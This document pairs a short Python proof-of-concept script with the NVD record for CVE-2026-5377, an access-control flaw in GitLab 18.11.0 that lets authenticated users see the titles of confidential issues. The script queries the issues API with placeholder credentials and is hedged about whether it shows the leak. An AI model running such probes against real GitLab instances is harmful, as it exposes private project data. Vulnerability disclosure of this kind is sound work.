CVE-2026-5377

import requests # Configuration TARGET_URL = "https://gitlab.example.com" PROJECT_ID = "123" # ID of a public project ISSUE_ID = "456" # ID of an issue that might reference private issues PRIVATE_TOKEN = "glpat-xxxxxxxxxxxx" # Valid low-privilege token headers = { "PRIVATE-TOKEN": PRIVATE_TOKEN, "Content-Type": "application/json" } # Exploit attempt: Fetch the issue description # The vulnerability lies in the rendering process potentially leaking titles url = f"{TARGET_URL}/api/v4/projects/{PROJECT_ID}/issues/{ISSUE_ID}" response = requests.get(url, headers=headers) if response.status_code == 200: data = response.json() print("[+] Successfully fetched issue data.") print(f"[+] Issue Description: {data.get('description', 'N/A')}") # Analyze the response for leaked private issue references # In a vulnerable version, referenced private issue titles might appear in the response # where they shouldn't be accessible. print("[+] Check the output above for any titles of private/confidential issues.") else: print(f"[-] Request failed with status code: {response.status_code}")

{"cve": {"id": "CVE-2026-5377", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:44.613", "lastModified": "2026-04-23T20:37:26.863", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.11 before 18.11.1 that could have allowed an authenticated user to access titles of confidential or private issues in public projects due to improper access control in the issue description rendering process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:*", "matchCriteriaId": "A6100523-821F-4F41-872D-AC5A60EECC19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "C78F9577-CDD5-497B-A92F-3C578AC6709E"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/22/patch-release-gitlab-18-11-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/595553", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3640688", "source": "[email protected]", "tags": ["Permissions Required"]}]}}